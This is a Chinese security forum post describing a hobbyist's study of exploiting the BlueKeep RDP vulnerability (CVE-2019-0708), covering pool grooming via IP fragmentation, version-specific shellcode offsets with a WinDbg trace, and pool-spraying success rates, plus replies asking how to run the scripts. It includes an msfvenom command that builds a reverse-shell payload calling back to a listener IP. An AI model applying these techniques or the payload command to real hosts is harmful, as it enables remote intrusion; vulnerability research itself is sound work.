首页
论坛
专栏
课程

[分享]关于CVE-2019-0708 bluekeep的一些研究和分享!

2019-10-15 10:27 6926

[分享]关于CVE-2019-0708 bluekeep的一些研究和分享!

2019-10-15 10:27
6926

前言

————————————
声明:我并不是专业安全研究人员,二进制漏洞研究只是自己的兴趣使然,以下数据以及结论很有可能出现偏差,请自行查验,本文仅供参考,没有多少技术含量。

 

我从Metersploit放出EXP以后开始关注研究CVE-2019-0708,在这之前我只理解少量二进制漏洞的概念,我的基础水平仅仅是明白什么是栈溢出,会Metersploit的一些基本操作,当时连UAF是什么都还没有概念,但就是凭着兴趣支撑的求知欲,一点一点的弄了下来,我把这过程记录一下,当做一次总结分享。

 

以下研究全部是建立在大神们的研究基础之上,没有任何原创内容,仅仅是学习改进优化,没有大佬们的代码分享,我将寸步难行。

漏洞触发

————————————
通过学习EXP程序源代码和各个大佬的分析文章,就可以发现漏洞触发过程,理解起来很简单,即在建立频道连接时,多绑定一个MS_120频道,于连接关闭前,单独发送MS_120频道关闭指令,然后关闭连接,触发漏洞蓝屏,大佬们的代码都可以实现整个流程。

 

占坑

————————————
MS_120频道结构体内存池占用大小在Win7SP1/2008r2SP1 x64中都是0x170字节。

 

占坑就是当目标机器第一次释放了 MS_120 结构体的 0x170 大小池内存之后,发送大量大小可控的数据包,在目标机器上形成大量 0x170 内容可控的池内存,期待其中的某一个能在目标机器上占据已经释放的 MS_120 频道结构体那一块池内存,这样就可以在系统第二次释放内存时,就会运行其中的一个内存数据地址指向的代码。

 

Metersploit的EXP占坑方式使用RDPSND频道,只对WIN7和XP有效,毫无通用性,只能在虚拟机中自娱自乐一下,不够刺激,令人总想继续搞点大事情。

 

虚拟机win7娱乐简易教程:Windbg双机内核调试使用命令 dd nt!MmNonPagedPoolStart(如上图),用上面的地址修改附件中rdp_bluekeep.py中的地址和其他2个地方,也就是下图箭头所指位置,即可稳定利用Win7不蓝屏,代码是国外大佬写的,我只做了简单修改,Windows,Linux都可以运行。

 

为了寻找通用性可能,又找到了安全客上有一篇国外的翻译文章:《CVE-2019-0708(BlueKeep): 利用RDP PDU将数据写入内核的3种方式》,里面介绍了3种方法,我简单测试了一下,前2种方式控制不了大小,不能用来占坑,后一种方式在2008R2x64系统无效,还是没有通用性,也就没有继续深入研究。

 

后来在著名哲学交友网站Github上发现了zerosum0x0大神的EXP,使用的是IP分片攻击方式占坑,占坑稳定,没有任何副作用,通杀win7和2008R2,一开始我在想,这么牛逼的方法,为什么没有人关注呢?在虚拟机测试了这个EXP,只需要修改一下里面的NonPagedPool喷射地址,可以成功利用啊!

 

 

然后在云服务器上测试了一下,才明白我太天真了。因为IP分片数据包发出去以后云服务器无法收到,wirkshark在本地有抓到发出去的包,服务器上没有任何显示,我用的是阿里云的云服务器,后来我又买了一台同机房的阿里云服务器,然而还是发出去OK,还是接收不到数据包。

 

不开心啊!这么优秀的方法怎么就没用呢?Google了一下相关资料,发现IP分片攻击20年前就已经在使用了,因为可以用来DDOS,我猜想应该是现在的专业网关设备,工业路由防火墙等硬件设备会屏蔽这种分片数据包。

 

心中那个疑问出现了,有没有办法突破一下呢?看了一下源码,发现源码里IP头数据包里面设置了TCP协议,却没有设置TCP头部,是不是这个原因呢?马上修改代码加上TCP头,设置SYN为第一次握手包,运行发送……然后目标云服务器并没有成功收到数据包……

 

此时我心中就有了一个假设,远程通信的2台计算机,中间会有很多层的网络设备,是不是这些网络设备中的其中一台或者多台,会把不完整的IP分片包扣留,直到能完成IP分片重组再转发给目标计算机?

 

用一个简单的程序来验证一下我的猜想正确与否吧!为了方便测试,使用较为简单的UDP协议,将一个完整UDP数据包分成2个分片数据包。先发送第一个,云服务器上的WireShark没有任何反应,隔了几秒后发送第二个数据包,此时云服务器马上收到了2个分片数据包。看来猜想是没错的,IP分片数据包的确是被网络设备拦截了。相关测试代码在附件中(udptest.py,udptest1.py)Linux root权限才能运行。

 

难道这种IP分片占坑方式没有希望了吗?

 

不甘心啊!再想想~扩展一下思路?我们知道正常的计算机通信中,还有一种类似的分片机制就是TCP MSS分段机制,而且肯定不会被拦截,能不能实现相同的效果呢?

 

 

根据这篇文章的设置方法进行设置 => 《Linux 内核 TCP MSS 机制详细分析》,马上开始了一番测试,WireShark抓包显示MSS已经修改成一个小值(48),然后发现Windows不会按我们的套路来,依旧使用默认的MSS值(1460)协商通信……怎么回事呢?

 

于是又是Google一通,发现国外的大佬们做过相关研究《Why doesn’t Windows 2008 server negotiate TCP MSS smaller than 536 bytes?》,在Windows系统中,默认MSS值不能低于536字节,否则通信失败。然而我们需要的占坑大小是0x170=368字节。太难了呀!

 

 

这篇文章介绍详细华为设备屏蔽设置《单包攻击原理与防御》,里面就有关于各类IP分片屏蔽的设置,看来这条路以我目前的技术水平确实走不通了。

 

 

看雪也有大佬分享了XP/2003的EXP代码(链接),使用的是MS120频道PDU占坑方式,我也简单测试了一下,win7sp1/win2008r2不可用。

 

好吧!既然如此,就只能在局域网里面玩一下IP分片的攻击方式了,局域网内还是很好用的,关于占坑的研究就先到此为止吧。

shellcode

————————————
大佬们给出的Shellcode在win7sp1和2008r2sp1上可以稳定运行,想试试其他系统可不可以用,于是把测试系统换成win7sp0和win2008sp2(Vista系统),然后就蓝屏了。由于我对Windows驱动开发一点也不懂,内核基础知识也是只了解一些概念,就简单的用Windbg对比调试了一下,发现win7sp1和win2008sp2漏洞利用不同的地方。

 

直接调试就发现了漏洞触发点不一样,win2008sp2触发点是termdd!IcaChannelInputInternal+0x181,win7sp1触发点是termdd!IcaChannelInputInternal+17d,说明内核数据结构不同,然后参考大佬们的调试命令(参考资料1,2),在Windbg中dt 各种内核数据结构,还发现了下面2处不同。

  1. KTHREAD.KernelApcDisable 位置不一样 win7sp1是[rax+1C4h],win2008sp2是[rax+1B4h]

  2. win7sp1上层函数退出点[rsp+0B8h],win2008sp2是[rsp+088h]

1: kd> t
fffffa80`1e80038b 65488b042588010000 mov   rax,qword ptr gs:[188h]
1: kd> t
fffffa80`1e800394 668380c401000001 add     word ptr [rax+1C4h],1   ; KTHREAD.KernelApcDisable Vista位置不一样  [rax+1B4h]
1: kd> t
fffffa80`1e80039c 4c8d9c24b8000000 lea     r11,[rsp+0B8h]   ; win7/2008r2此处为上层函数退出点,Vista位置不一样  [rsp+088h]
1: kd> t
fffffa80`1e8003a4 31c0            xor     eax,eax
1: kd> t
fffffa80`1e8003a6 498b5b30        mov     rbx,qword ptr [r11+30h]
1: kd> t
fffffa80`1e8003aa 498b6b40        mov     rbp,qword ptr [r11+40h]
1: kd> t
fffffa80`1e8003ae 498b7348        mov     rsi,qword ptr [r11+48h]
1: kd> t
fffffa80`1e8003b2 4c89dc          mov     rsp,r11
1: kd> t
fffffa80`1e8003b5 415f            pop     r15
1: kd> t
fffffa80`1e8003b7 415e            pop     r14
1: kd> t
fffffa80`1e8003b9 415d            pop     r13
1: kd> t
fffffa80`1e8003bb 415c            pop     r12
1: kd> t
fffffa80`1e8003bd 5f              pop     rdi
1: kd> t
fffffa80`1e8003be c3              ret

在shellcode中修改了这2个地方,再试……然后还是蓝屏了……头大了,算了,算了,不搞了,以后学好驱动开发再来看看吧!

 

PS:win7sp0和win2008sp2(vista)内核数据结构是一样的。

池喷射

————————————
池喷射应该算是很头疼的事情,毕竟有KASLR,还有内存大小不同非分页池基址就不同,让shellcode定位几乎不可能实现,之所以没有出现稳定EXP这个原因比较大。Google上能搜索到的中/英文资料少得可怜。

 

多数UAF漏洞都是本地提权和游览器漏洞,因为本地shellcode定位没有那么困难,但是CVE-2019-0708是远程利用,需要远程定位。

 

一开始我的想法是,如果再来一个内核地址泄露的漏洞就好了,漏洞配合起来稳定利用就可以实现了,然后Google了一通后发现,Windows平台没有一个新公开的内核地址泄露漏洞,连老的漏洞也没有,也就连研究参考资料都没有。还想要远程内核信息泄露?——这个嘛…… 不要问,问就是没有……

 

这个问题思考了好几天无果后,我开始反思到,为什么必须得完美稳定的定位方式?其实有一种方式,是不完美的解决方案,利用Windows的内存申请布局特点,理论上可以实现80%以上的通用成功率,并且还有一些优化空间,虽然有蓝屏概率,但2次攻击之内就可以成功拿下。不也算是成功了吗?完美是优秀的敌人呢!

 

当然,经我不严谨测试,还是有2个限制条件。

  1. 内存大于32G以后,成功概率开始下降。
  2. 网速慢延迟高也会失败。

虽然只测试了Win2008r2sp1 x64,但是这个系统可以搞定,其他的系统也就没啥问题了。

 

由于局域网没有网速限制,配合局域网使用IP分片占坑方式,可以实现局域网物理机不稳定利用。以下为局域网物理机测试。

局域网物理机配置如下:
Windows2008R2 SP1 x64
Intel i7 8核 CPU
4G内存
目标IP:192.168.1.66     监听IP:192.168.1.88
shellcode生成:msfvenom -p windows/x64/shell_reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=192.168.1.88 LPORT=10240

 

具体细节就不公开了,毕竟挺烦那些做勒索软件的,用毫无底线的方式阻断了技术交流,过一段时间再来看雪分享吧。

总结

————————————
此次研究目前就总结到这里了,在不考虑防火墙以及杀毒软件的情况下,理论上局域网内可以80%以上概率成功利用。

 

研究刚刚开始的时候,在社交网络上看见有人在用大佬的bluekeep EXP做测试,然后把测试结果拿出来分(zhuang)享(B),然后还会顺便补充一句,EXP是团队内部是大佬分享的,团队内部人员做测试用的,不能分享。当时就在心中感叹,TNND,团队内部人员真TMD好啊!很多大佬一起参与研究。我们还在一点点研究利用CVE-2019-0708的时候,人家已经开始玩CVE-2019-1181/1182的POC了 => https://www.youtube.com/watch?v=WAeHosqYob4

 

一次简单的漏洞利用,涉及到的知识相当广泛,非常多的细节需要一点一点的扣,一个人研究的时候常常感到力不从心,仅仅靠兴趣是无法持续走下去的,我们需要伙伴,分享才有进步,欢迎一起交流学习。

 

学习二进制漏洞,就和学习艺术一样,费钱费力,但是当看到优秀的漏洞利用方式的时候,还是会发自内心的感叹,这就是艺术啊!

参考资料

————————————

  1. 关键的Windows内核数据结构一览(上)
    https://r00tk1ts.github.io/2018/01/08/关键的Windows内核数据结构一览(上)/
  2. 关键的Windows内核数据结构一览(下)
    https://r00tk1ts.github.io/2018/01/14/关键的Windows内核数据结构一览(下)/
  3. Metasploit BlueKeep漏洞利用模块简要分析
    https://bbs.pediy.com/thread-254375.htm
  4. cve-2019-0708_bluekeep_xp_rce
    https://bbs.pediy.com/thread-254804.htm
  5. Linux 内核 TCP MSS 机制详细分析
    https://paper.seebug.org/966/
  6. Windows-Kernel-Exploit-内核漏洞学习(1)-UAF
    https://thunderjie.github.io/2019/06/28/Windows-Kernel-Exploit-内核漏洞学习-1-UAF/
  7. Windows Kernel Exploit Part 1
    https://paper.seebug.org/872/
  8. CVE-2019-0708(BlueKeep): 利用RDP PDU将数据写入内核的3种方式
    https://www.anquanke.com/post/id/185508
  9. Why doesn’t Windows 2008 server negotiate TCP MSS smaller than 536 bytes?
    https://blogs.technet.microsoft.com/nettracer/2010/07/30/why-doesnt-windows-2008-server-negotiate-tcp-mss-smaller-than-536-bytes/


2020安全开发者峰会(2020 SDC)议题征集 中国.北京 7月!

最后于 2019-11-2 17:50 被肯特君编辑 ,原因: 删除个人联系方式
上传的附件:
最新回复 (11)
Editor 2019-10-15 10:28
2
0
感谢分享!点个赞鼓励一下!
mikeljs 2019-10-15 13:56
3
0
厉害,专研精神向你学习!大神大神!!
肯特君 2019-10-15 16:51
4
0
Editor 感谢分享!点个赞鼓励一下!
谢谢~
肯特君 2019-10-15 16:51
5
0
3Q
Sprite雪碧 1 2019-10-20 12:20
6
0
感谢分享,表示我的服务器已经中招了。(第一次中 0day,别说还有点小激动 
最后于 2019-10-20 12:21 被Sprite雪碧编辑 ,原因:
小伙伴 2019-10-24 18:38
7
0
感谢分享!
coolboyroge 2019-11-21 19:44
8
0
大神请教下 我使用zerosum0x0的脚本测试了下 无论修不修改NonPagedPool喷射 都不能弹shell也不会蓝屏  我测试的平台是win7 8g内存 实体机 完全没反应 感觉好像是shellcode没有执行 是不是还需要修改下脚本? 后面测试虚拟机会蓝屏修改了NonPagedPool 也照样蓝 哎
linfengtai 2019-11-29 11:56
9
0
Sprite雪碧 感谢分享,表示我的服务器已经中招了。(第一次中 0day,别说还有点小激动 
大佬能发个使用脚本使用方法吗
niuzuoquan 2019-11-29 12:23
10
0
mark
英雄主义山总 2019-12-13 22:20
11
0
Sprite雪碧 感谢分享,表示我的服务器已经中招了。(第一次中 0day,别说还有点小激动 
能请教一下如何使用吗?
英雄主义山总 2019-12-15 05:11
12
0
貌似有了新的方法了 github.com/ga1ois
游客
登录 | 注册 方可回帖
返回